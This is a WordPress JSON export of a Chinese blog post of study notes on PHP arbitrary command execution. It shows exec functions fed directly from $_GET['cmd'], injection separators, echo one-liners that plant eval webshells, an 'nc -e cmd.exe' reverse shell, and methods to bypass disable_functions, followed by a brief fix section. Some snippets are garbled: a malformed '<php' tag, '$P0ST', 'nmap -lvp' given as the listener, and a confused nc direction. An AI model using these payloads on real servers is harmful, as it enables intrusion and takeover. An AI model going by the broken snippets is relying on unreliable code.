{"id":43,"date":"2023-03-25T11:33:22","date_gmt":"2023-03-25T03:33:22","guid":{"rendered":"http:\/\/123.207.45.199\/?p=43"},"modified":"2026-05-31T21:59:11","modified_gmt":"2026-05-31T13:59:11","slug":"%e4%bb%bb%e6%84%8f%e5%91%bd%e4%bb%a4%e6%89%a7%e8%a1%8c","status":"publish","type":"post","link":"https:\/\/www.redspear.cn\/index.php\/2023\/03\/25\/%e4%bb%bb%e6%84%8f%e5%91%bd%e4%bb%a4%e6%89%a7%e8%a1%8c\/","title":{"rendered":"\u4efb\u610f\u547d\u4ee4\u6267\u884c"},"content":{"rendered":"\n<h2 class=\"wp-block-heading\">\u539f\u7406<\/h2>\n\n\n\n<pre class=\"wp-block-preformatted\">\u5e94\u7528\u5728\u8c03\u7528\u8fd9\u4e9b\u51fd\u6570\u6267\u884c\u7cfb\u7edf\u547d\u4ee4\u7684\u65f6\u5019\uff0c\u5982\u679c\u5c06\u7528\u6237\u7684\u8f93\u5165\u4f5c\u4e3a\u7cfb\u7edf\u547d\u4ee4\u7684\u53c2\u6570\u62fc\u63a5\u5230\u547d\u4ee4\u884c\u4e2d\uff0c\u5728\u6ca1\u6709\u8fc7\u6ee4\u7528\u6237\u7684\u8f93\u5165\u7684\u60c5\u51b5\u4e0b\uff0c\u5c31\u4f1a\u9020\u6210\u547d\u4ee4\u6267\u884c\u6f0f\u6d1e\u3002<\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">\u76f8\u5173\u51fd\u6570<\/h2>\n\n\n\n<pre class=\"wp-block-preformatted\">system(args)\u6709\u56de\u663e<br>passthru(args)(\u6709\u56de\u663e)<br>exec(args,$arr)<br>(\u56de\u663e\u6700\u540e\u4e00\u884c-\u5fc5\u987becho\u8f93\u51fa\uff0c\u4e5f\u53ef\u4ee5\u4f20\u9012\u6570\u7ec4\u663e\u793a\u51fa\u6765)<br>shell_exec(args)(\u65e0\u56de\u663e-\u5fc5\u987b\u8f93\u51fa)<br>\u53cd\u5f15\u53f7``<br>popen(handle,mode)(\u65e0\u56de\u663e)<br>proc_open('cmd,'array','flag')(\u65e0\u56de\u663e)<\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">system<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">\u6709\u56de\u663e<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">\u4e00\u53e5\u8bdd\u6728\u9a6c<br>127.0.0.1%26%26 &nbsp; &amp;&amp; &nbsp; \u6216\u8005  || |<br>echo \"&lt;php @eval($_POST['cmd']);\"&gt; shell.php<br>\u200b<br>\u5982\u679c\u53cc\u5f15\u53f7\u88ab\u8fc7\u6ee4 windows\u8f6c\u4e49\u7b26^ &nbsp;<\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">passthru()<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">\u6709\u56de\u663e<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">passthru($_GET['cmd']);<\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">exec()<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">\u65e0\u56de\u663e<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">exec($_GET['cmd'],$arr);<br>var_dump($arr);<\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">shell_exec()<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">\u65e0\u56de\u663e<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">echo shell_exec($_GET['cmd']);<\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">&#8220;<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">\u65e0\u56de\u663e<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">echo `$_GET[1]`;xxxxxxxxxx&nbsp;\u547d\u4ee4\u6267\u884cecho `$_GET[1]`;echo `(1)`<\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">popen<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">\u65e0\u56de\u663e<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u6253\u5f00\u662f\u8d44\u6e90<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u548cfread\/fget\u8054\u5408\u4f7f\u7528<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">$a=popen($_GET['cmd'],'r');<br>while ($ab=fgets($a,1024))<br>{<br> &nbsp;  echo $ab;<br>}<\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">proc_open<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">\u65e0\u56de\u663e<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u547d\u4ee4,\u6570\u7ec4,\u7ba1\u9053\u4fe1\u606f<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">cmd\u4e3a\u5b50\u8fdb\u7a0b<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">\u4ece\u6d41\u4e2d\u53d6\u6570\u636e<\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\u5229\u7528\u4e0a\u8ff0\u51fd\u6570\u5f39\u51fashell<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">window<\/p>\n\n\n\n<ol class=\"wp-block-list\">\n<li>cd nc\u76ee\u5f55<\/li>\n\n\n\n<li>nc \u9776\u673aip port -e c:\\windows\\system32\\cmd.exe<\/li>\n\n\n\n<li>\u653b\u51fb\u673a\u76d1\u542c port nmap -lvp port<\/li>\n<\/ol>\n\n\n\n<h2 class=\"wp-block-heading\">\u6f0f\u6d1e\u5371\u5bb3<\/h2>\n\n\n\n<pre class=\"wp-block-preformatted\">\u6267\u884c\u7cfb\u7edf\u547d\u4ee4<br>\u8bfb\u5199\u6587\u4ef6echo ^&lt;?php eval($P0ST[1]);?^&gt; &gt; 1.php<br>\u53cd\u5f39she11<br>\u63a7\u5236\u6574\u4e2a\u7f51\u7ad9  <br>\u751a\u81f3\u63a7\u5236\u6574\u4e2a\u670d\u52a1\u5668<\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">\u4fee\u590d<\/h2>\n\n\n\n<pre class=\"wp-block-preformatted\">\u80fd\u4f7f\u7528\u811a\u672c\u89e3\u51b3\u7684\u5de5\u4f5c\uff0c\u4e0d\u8981\u8c03\u7528\u5176\u4ed6\u7a0b\u5e8f\u5904\u7406\uff0c\u5c3d\u91cf\u5c11\u7528\u6267\u884c\u547d\u4ee4\u7684\u51fd\u6570\uff0c<br>\u5e76\u5728disable functions\u4e2d\u7981\u7528\u3002php.ini\u4e2d <br>\u5728\u8fdb\u5165\u547d\u4ee4\u6267\u884c\u7684\u51fd\u6570\u6216\u65b9\u6cd5\u4e4b\u524d\uff0c\u5bf9\u53c2\u6570\u8fdb\u884c\u8fc7\u6ee4\u3002\u4f7f\u7528\u8fd9\u4e9b\u51fd\u6570<br>escapeshellcmd\/escapeshellarg\u8fc7\u6ee4<br>escapeshellarg\u4e00\u628a\u5b57\u7b26\u4e32\u8f6c\u7801\u4e3a\u53ef\u4ee5\u5728shell\u547d\u4ee4\u91cc\u4f7f\u7528\u7684\u53c2\u6570<br>escapeshellcmd shell\u5143\u5b57\u7b26\u8f6c\u4e49<br>\u53c2\u6570\u7684\u503c\u5c3d\u91cf\u4f7f\u7528\u5f15\u53f7\u5305\u88f9\uff0c\u5e76\u5728\u62fc\u63a5\u524d\u8c03\u7528addslashes\u8fdb\u884c\u8f6c\u4e49\u3002<br>exec()\u51fd\u6570\u4e2d\u6570\u636e\uff0c\u907f\u514d\u7528\u6237\u53ef\u63a7\u3002<\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\u5982\u4f55\u7ed5\u8fc7disable_function<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">LD_PRELOAD\u73af\u5883\u53d8\u91cf=&gt;<br>ShellShock\uff08CVE-2014-6271\uff09<br>\u5229\u7528Windows\u7cfb\u7edf\u7ec4\u4ef6COM\u7ed5\u8fc7<br>\u5229\u7528FFI\u6269\u5c55\u6267\u884c\u547d\u4ee4<\/pre>\n","protected":false},"excerpt":{"rendered":"<p>\u539f\u7406 \u5e94\u7528\u5728\u8c03\u7528\u8fd9\u4e9b\u51fd\u6570\u6267\u884c\u7cfb\u7edf\u547d\u4ee4\u7684\u65f6\u5019\uff0c\u5982\u679c\u5c06\u7528\u6237\u7684\u8f93\u5165\u4f5c\u4e3a\u7cfb\u7edf\u547d\u4ee4\u7684\u53c2\u6570\u62fc\u63a5\u5230\u547d\u4ee4\u884c\u4e2d\uff0c\u5728\u6ca1\u6709\u8fc7\u6ee4\u7528\u6237\u7684 &hellip; <\/p>\n","protected":false},"author":3,"featured_media":28,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[],"class_list":["post-43","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-webtob10"],"_links":{"self":[{"href":"https:\/\/www.redspear.cn\/index.php\/wp-json\/wp\/v2\/posts\/43","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.redspear.cn\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.redspear.cn\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.redspear.cn\/index.php\/wp-json\/wp\/v2\/users\/3"}],"replies":[{"embeddable":true,"href":"https:\/\/www.redspear.cn\/index.php\/wp-json\/wp\/v2\/comments?post=43"}],"version-history":[{"count":1,"href":"https:\/\/www.redspear.cn\/index.php\/wp-json\/wp\/v2\/posts\/43\/revisions"}],"predecessor-version":[{"id":44,"href":"https:\/\/www.redspear.cn\/index.php\/wp-json\/wp\/v2\/posts\/43\/revisions\/44"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.redspear.cn\/index.php\/wp-json\/wp\/v2\/media\/28"}],"wp:attachment":[{"href":"https:\/\/www.redspear.cn\/index.php\/wp-json\/wp\/v2\/media?parent=43"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.redspear.cn\/index.php\/wp-json\/wp\/v2\/categories?post=43"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.redspear.cn\/index.php\/wp-json\/wp\/v2\/tags?post=43"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}